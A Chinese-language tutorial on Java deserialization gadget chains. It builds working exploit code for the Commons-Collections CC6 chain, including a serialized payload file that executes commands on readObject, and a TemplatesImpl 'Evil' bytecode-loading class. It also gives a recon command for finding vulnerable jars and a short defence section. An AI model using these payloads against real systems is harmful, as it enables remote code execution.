Java 反序列化 Gadget 链入门
《Java基础》 里讲过序列化与反序列化：对象 → 字节流 → 还原对象。理解到这一步之后，大多数人都会卡在同一个地方——readObject() 明明只是把对象还原出来，凭什么就能执行命令？
本文用一个认知转变开头，然后从零把一条最简单的 gadget 链（CC6）逐层拼起来。拼完这条链，你对”反序列化 RCE”的理解就过关了。
先说结论：gadget 链 = 用目标上现成的类，把”反序列化自动触发的方法”接成一条通向危险方法的调用链。
一、先想通一件事：payload 里没有代码
反序列化漏洞最反直觉的地方在于：攻击者发送的字节流里，一行代码都没有。
攻击者发送：序列化后的对象图描述（只有类名 + 字段名 + 字段值）
目标执行：readObject() 用【目标自己 classpath 上的类】把这些对象 new 出来
真正”执行代码”的是目标上已有的类。攻击者只做了一件事：设计这张对象图，让”还原对象的过程”被迫调用一串方法，最终落进一个危险方法。
类比：payload 不是炸弹，而是”多米诺骨牌怎么摆”的说明书。牌是目标上现成的类，摆法由攻击者决定，
readObject()就是推倒第一张牌的那只手。
二、为什么”还原对象”会调用方法
这不是漏洞行为，是 Java 集合类的固有设计。反序列化时，集合类要重建自己的内部结构，必然会调用里面对象的某些方法：
| 类 | readObject 时自动做的事 | 触发的方法 |
|---|---|---|
HashMap |
重新 put 所有条目 | key.hashCode() |
HashSet |
重新 add 元素 | key.hashCode() |
PriorityQueue |
重建堆 | comparator.compare(a, b) |
TreeMap |
重建红黑树 | key.compareTo() |
所以只要让 key / comparator 是一个”被精心设计的对象”，反序列化那一刻就会自动触发它的 hashCode() / compareTo() —— 这就是整个攻击的入口。
三、三个名词：Sink / Gadget / Chain
| 名词 | 含义 | 例子 |
|---|---|---|
| Sink（落点） | 真正危险的方法 | Runtime.exec、Method.invoke、TemplatesImpl.newTransformer |
| Gadget（小工具） | 目标 classpath 上某个类，被调用时产生攻击者有用的动作（通常是”再调下一个方法”） | InvokerTransformer、LazyMap、TiedMapEntry |
| Gadget Chain（链） | 从 readObject 自动触发的方法，一步步级联到 Sink 的完整调用序列 | CC1 / CC6 / CC3 等 |
gadget 英文原意是”小装置”，安全圈借指”攻击链里一段可利用的代码/类”。理解它的关键：每一块 gadget 都不知道自己在被用来攻击——它只是一个”被调用就干活”的普通类，单独看完全无害，拼起来就是 RCE。
四、第一个 gadget：InvokerTransformer
org.apache.commons.collections.functors.InvokerTransformer（commons-collections 3.x）的 transform(Object) 方法，可以反射调用任意对象上的任意方法：
InvokerTransformer t = new InvokerTransformer(
"exec", // 要调用的方法名
new Class[]{String.class}, // 方法参数类型
new Object[]{"calc"}); // 方法参数值
t.transform(Runtime.getRuntime()); // 等价于 Runtime.getRuntime().exec("calc")
它就是整条链的”引擎”：任何一次 transform(x) 调用，都会变成”在 x 上反射调用任意方法”。这一步把”无害的 transform”和”危险的方法调用”焊在了一起。
五、把多个 gadget 串起来：ChainedTransformer
ChainedTransformer.transform(obj) 会依次调用数组里每个 transformer 的 transform(obj)：
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), // 1. 返回 Runtime.class（不变）
new InvokerTransformer("getMethod", // 2. 反射拿 getRuntime 方法
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", // 3. 反射调用 getRuntime() → 实例
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", // 4. 反射调用 exec("calc")
new Class[]{String.class},
new Object[]{"calc"})
};
ChainedTransformer chain = new ChainedTransformer(transformers);
chain.transform(null); // 依次执行 1→2→3→4 → Runtime.getRuntime().exec("calc")
为什么不直接
new InvokerTransformer("exec", ...)一步到位？因为Runtime构造方法是私有的，必须先反射getMethod("getRuntime")拿到方法、再invoke得到实例，最后才能exec。这就是 payload 里常见”getMethod → invoke → exec”三段式的原因。
到这里，”有 transform() 调用 → 就执行命令”已经成立。现在的问题是：反序列化时，谁会去调 transform()？
六、谁来触发 transform：LazyMap
6.1 LazyMap 的”懒加载”特性
LazyMap（org.apache.commons.collections.map.LazyMap，commons-collections 3.x）是一个装饰器：它包住一个普通 Map，并带一个 factory。它对不存在的 key 不返回 null，而是用 factory.transform(key) 现算一个值并缓存——设计本意是”延迟初始化”（值比较贵、用到才生成）：
// LazyMap 继承 AbstractMapDecorator，被装饰的 map 存在父类的 map 字段里，所以用 super.map 访问
public Object get(Object key) {
if (!super.map.containsKey(key)) { // ① 内层 map 里没有这个 key
Object value = this.factory.transform(key); // ② 用 factory 现算一个值
super.map.put(key, value); // ③ 算完存进缓存
return value;
} else { // ④ 有 key 就直接返回缓存值
return super.map.get(key);
}
}
6.2 LazyMap.decorate(new HashMap(), chain) 做了什么
decorate 是 LazyMap 的静态工厂方法（构造器是 protected，只能走它）：
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
所以 LazyMap.decorate(new HashMap(), chain) = new LazyMap(空 HashMap, chain)，LazyMap 内部只存两样东西：
map：传入的空HashMap（被装饰的内层容器）；factory：chain（那个ChainedTransformer）。
于是”对空 map 调 get(任意不存在的 key)“就被改写成”执行整条 transformer 链”：
Map lazyMap = LazyMap.decorate(new HashMap(), chain); // map=空HashMap, factory=chain
lazyMap.get("任何不存在的key");
// → containsKey == false → factory.transform("key")
// → chain.transform("key") → getMethod → invoke → exec → RCE！
关键：
LazyMap把”一次无害的map.get(缺的 key)“变成”调用任意factory.transform“，而factory是攻击者可控的Transformer——这就是把”集合操作”改写成”执行链”的转换器。
现在链条推进到：LazyMap.get(key) → factory.transform(key) → ... → exec。
七、反序列化入口：HashMap.readObject → hashCode → TiedMapEntry
还差最后一步：反序列化时，谁会调用 LazyMap.get()？
7.1 TiedMapEntry：hashCode 是入口
TiedMapEntry 是”绑定了一个 map 和 key”的条目，它实现 Map.Entry。它的 hashCode() 第一行就调用了 getValue()——钩子就在这里：
public int hashCode() {
Object value = this.getValue(); // ← 第一行就调 getValue()
return (this.getKey() == null ? 0 : this.getKey().hashCode())
^ (value == null ? 0 : value.hashCode());
}
而 getValue() 内部就是 map.get(key)：
public Object getValue() {
return map.get(key); // ← 关键：调用了 LazyMap.get()
}
后半段的
key.hashCode() ^ value.hashCode()只是让对象有一个合理的哈希值、方便被放进 HashMap，与攻击无关。真正的触发点在第一行的getValue()。
7.2 HashMap.readObject：反序列化时自动调 hashCode
HashMap.readObject() 重建条目时会对每个 key 调 hashCode()（见第二节）：
// HashMap.readObject 内部（简化）
for (int i = 0; i < mappings; i++) {
K key = (K) s.readObject();
putVal(hash(key), key, value, false, false); // hash(key) 会调 key.hashCode()
}
所以让 HashMap 的 key 是那个 TiedMapEntry，反序列化就自动触发整条链：
TiedMapEntry entry = new TiedMapEntry(lazyMap, "key");
// 反序列化时：HashMap.readObject → key.hashCode() → getValue() → lazyMap.get("key") → chain.transform → RCE
HashMap.readObject()
→ hash(key) → key.hashCode() ← key = TiedMapEntry
→ TiedMapEntry.hashCode()
→ getValue() → LazyMap.get(key) ← 命中 6.2 的 factory.transform
→ chain.transform() → RCE
八、完整链（CC6）拼起来
HashMap.readObject() ← 入口（集合固有行为）
→ hash(key) → key.hashCode() ← key = TiedMapEntry
→ TiedMapEntry.hashCode()
→ this.map.get(key) ← map = LazyMap
→ LazyMap.get(key)
→ !containsKey(key) → factory.transform() ← factory = ChainedTransformer
→ ChainedTransformer.transform()
→ InvokerTransformer.transform() × 3 ← getMethod → invoke → exec
→ Runtime.getRuntime().exec("calc") ← Sink：RCE
8.1 先手工验证：证明链本身是通的
// 不经过反序列化，直接手工构造并触发 —— 链通的话会弹出 calc
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chain = new ChainedTransformer(transformers);
Map lazyMap = LazyMap.decorate(new HashMap(), chain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "key");
entry.hashCode(); // ← 触发点，等价于整条链
这一步很重要：先证明”手工触发能通”，再谈反序列化触发。把整条链拆成”触发点方法调用” + “触发源是谁”，是理解所有链的通用方法。
8.2 再封装成真正的反序列化 payload
⚠️ 先抄这个辅助方法：下面主代码用到的
setFieldValue是自定义方法
// 辅助方法：反射修改 ChainedTransformer 的私有字段 iTransformers
public static void setFieldValue(Object obj, String name, Object value) throws Exception {
Field f = obj.getClass().getDeclaredField(name);
f.setAccessible(true);
f.set(obj, value);
}
// 两个关键细节：
// ① 构造链时先用无害占位 transformer，避免本地构造阶段就触发 exec
ChainedTransformer chain = new ChainedTransformer(
new Transformer[]{new ConstantTransformer(1)});
Map lazyMap = LazyMap.decorate(new HashMap(), chain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "key");
// ② 外层 HashMap：readObject 时会调 entry.hashCode()
Map expMap = new HashMap();
expMap.put(entry, "value");
lazyMap.remove("key"); // ★ put 时 LazyMap 已经把 key 加进去了，
// 必须移除，否则反序列化时 key 已存在、不会触发 transform
// ③ 最后把真正的链换进去（反射），再序列化
setFieldValue(chain, "iTransformers", transformers);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("poc.ser"));
oos.writeObject(expMap);
// 目标端：一句 readObject 就 RCE
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("poc.ser"));
ois.readObject(); // ← 弹出计算器
这段代码就是 ysoserial 里
CommonsCollections6的手写简化版。LazyMap/TiedMapEntry/ChainedTransformer 全部来自commons-collections 3.2.1（Shiro 1.2.4 等老框架自带）。
九、另一个更强的 sink：TemplatesImpl（加载任意字节码）
CC6 依赖 commons-collections。而 TemplatesImpl 是 JDK 自带的，并且能干更狠的事——加载攻击者提供的任意字节码，不要求目标 classpath 上存在这个类。
9.1 它本来是干嘛的（XSLT 编译器）
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 是 JDK 里 Xalan XSLT 处理器的核心类：负责把 XSLT 样式表编译成字节码（translet 类）并缓存，供 XML 转换使用。它内部用一个自定义 ClassLoader 把”字节数组里的类”加载进 JVM。
攻击点：它要加载的类字节码存在私有字段 _bytecodes 里，而 Java 反序列化会原样恢复私有字段——攻击者把 _bytecodes 填成恶意类的字节码，再让链触发 newTransformer()，就加载并执行了攻击者的类。
9.2 利用要设置的三个字段
| 字段 | 类型 | 作用 | 利用时的值 |
|---|---|---|---|
_bytecodes |
byte[][] |
要加载的类字节码（可多个） | new byte[][]{恶意类字节码} |
_name |
String |
translet 类名 | 任意非 null 字符串（为 null 会抛异常） |
_tfactory |
TransformerFactoryImpl |
加载时要用（见 9.3） | new TransformerFactoryImpl() |
// setFieldValue 同 8.2 的自定义辅助方法（需自己实现，且 import java.lang.reflect.Field）
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{恶意类的字节码});
setFieldValue(templates, "_name", "Evil");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
9.3 加载流程：newTransformer → getTransletInstance → defineTransletClasses
templates.newTransformer()
→ getTransletInstance()
│ ├─ 检查 _name != null（否则抛异常）
│ ├─ if (_class == null) defineTransletClasses() ← 第一次调用才加载
│ └─ _translet = _class[i].newInstance() ← 实例化 → 静态块触发！
→ defineTransletClasses()
├─ 用 _tfactory.getExternalExtensionsMap() 确保内部类加载器可用
├─ loader = new TransletClassLoader(...) ← TemplatesImpl 内部自带的 ClassLoader
└─ 逐个 _class[i] = loader.defineClass(_bytecodes[i]) ← 直接加载攻击者的字节码
关键点：加载用的是 TemplatesImpl 内部自带的 TransletClassLoader（重写了 defineClass），字节码直接来自 _bytecodes 数组、不经过 classpath——这就是”加载任意字节码”的含义。
9.4 恶意类必须继承 AbstractTranslet
getTransletInstance() 会把加载的类强转成 AbstractTranslet 再 newInstance()，所以恶意类必须继承 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet，并实现它的两个抽象 transform 方法（空实现即可）。命令写在静态块里——类被实例化时触发 <clinit> 执行：
public class Evil extends AbstractTranslet {
static {
Runtime.getRuntime().exec("open -a Calculator"); // ← 命令在这里
}
@Override public void transform(DOM d, SerializationHandler[] h) {}
@Override public void transform(DOM d, DTMAxisIterator i, SerializationHandler h) {}
}
9.5 恶意字节码从哪来：手动 vs 自动化
字节码是 CA FE BA BE... 的二进制，人没法手写。两种造法：
- 手动（理解原理用）：写上面的
Evil.java→javac编译 → 读Evil.class的字节塞进_bytecodes； - 自动化（实战用）：用 javassist 在内存里替你完成”写类 + 编译 + 拿字节”，只需传一条命令字符串。
// 等价于"手动写 Evil.java + javac + 读字节"三步，全自动
TemplatesImpl templates = ExploitUtil.createTemplatesImpl("open -a Calculator");
这就是无文件注入里”恶意类不在目标 classpath 也能执行”的原因——字节码是攻击者生成的，加载由 TemplatesImpl 内部完成。
9.6 在链里怎么触发：TrAXFilter 构造
newTransformer() 是 public 无参方法，但它自己不会凭空执行——在链里通常由 InstantiateTransformer 构造一个 TrAXFilter 来触发，因为 TrAXFilter 的构造方法里会调 templates.newTransformer()：
InstantiateTransformer(TrAXFilter.class, [Templates.class], [templates])
→ new TrAXFilter(templates)
→ TrAXFilter 构造方法里调 templates.newTransformer() ← 触发点
→ 进入 9.3 的加载流程 → RCE
9.7 为什么它”万能”
- JDK 自带，不依赖第三方库，通杀面大（
Runtime.exec那套还要 commons-collections 的InvokerTransformer）； - 能加载任意字节码 → 不只是执行一条命令，可以加载内存马注入类等任意代码——《反序列化与 JNDI 无文件注入内存马》 里把”注入类”送进 JVM，就是靠它（Shiro 的 CC2 / CC3 / CommonsBeanutils1 都用 TemplatesImpl）。
9.8 入口 × sink：一份配方表
TemplatesImpl 只是一个 sink，配上不同的入口就组成不同的链：
| 入口（谁触发） | 中间 | sink = 字节码加载 | 链名 |
|---|---|---|---|
HashMap → TiedMapEntry → LazyMap |
ChainedTransformer |
TrAXFilter → TemplatesImpl |
CC3 |
PriorityQueue → TransformingComparator |
InvokerTransformer("newTransformer") |
TemplatesImpl |
CC2 |
PriorityQueue → BeanComparator |
PropertyUtils.getProperty |
TemplatesImpl |
CB1 |
对比入口为 exec 的链：HashMap → TiedMapEntry → LazyMap + Runtime.exec = CC6。
反序列化链 = 入口 × sink 的排列组合：入口解决”readObject 会自动调哪个方法”，sink 解决”最后一环干什么”。看懂这两件事，所有链都是同一张配方表。
常见 Sink 一览
| Sink | 作用 | 依赖 | 典型触发 |
|---|---|---|---|
Runtime.exec |
执行命令 | JDK | 反射调用 |
InvokerTransformer |
反射调用任意方法 | commons-collections | transform() |
TemplatesImpl.newTransformer |
加载任意字节码 | JDK | TrAXFilter 构造 / 方法调用 |
JdbcRowSetImpl.setAutoCommit |
触发 JNDI lookup | JDK | Fastjson setter 调用 |
后两个都是 JDK 自带，所以才会在 Fastjson（
JdbcRowSetImpl）、Shiro（TemplatesImpl）里反复出现——见《Fastjson反序列化漏洞深度剖析》。
十、gadget 从哪来 + 怎么找链
- gadget 是目标 classpath 上的现有类。同一个目标上，
commons-collections、commons-beanutils、c3p0、以及 JDK 自带类（TemplatesImpl、JdbcRowSetImpl）都可能当 gadget； - 找链 = 从入口到 sink 找一条调用路径。ysoserial 已经把常用链写好了（
CommonsCollections1/2/6、CommonsBeanutils1、JRMPClient等），你可以直接借鉴思路； - 实战先摸依赖：
find . -name "commons-collections*.jar" -o -name "commons-beanutils*.jar"，再决定用哪条链。
十一、验证 / 调试一条链
- 先手工触发（如 8.1），确认链本身通不通；
- 序列化 payload，在独立沙箱里
readObject()验证，别在真实目标上试； - 打日志 / 断点观察方法调用顺序，对照预期链，找到卡在哪一环。
十二、检测与防御
| 层面 | 措施 |
|---|---|
| 入口 | 不反序列化不可信数据；用 JSON 等安全格式替代 |
| 过滤 | ObjectInputFilter（JDK 9+）做白名单，禁止反序列化 gadget 类 |
| 依赖 | 升级 commons-collections 到 3.2.2+（默认禁用 InvokerTransformer 反序列化） |
| 组件 | Shiro 换随机密钥、Fastjson 开 SafeMode（见对应文章） |
总结
一句话：gadget 链 = 用目标上现成的类，把”反序列化自动触发的方法”接成一条通向危险方法的调用链。
把四个认知串起来：
- payload 没有代码，只有对象图——执行代码的是目标上的类；
- readObject 还原对象时会自动调
hashCode/compareTo等方法（入口）； - 每个 gadget 是”被调用就产生有用动作”的普通类（跳板）；
- 从入口一路级联到
Runtime.exec或TemplatesImpl（落点）。
建议动手做一遍：把第八节的代码跑通，从”手工触发”到”反序列化触发”，这条链你就彻底拿下了。
延伸阅读：《Java基础》 的序列化章节 《Fastjson反序列化漏洞深度剖析》 《反序列化与 JNDI 无文件注入内存马》 《内存马原理总纲》
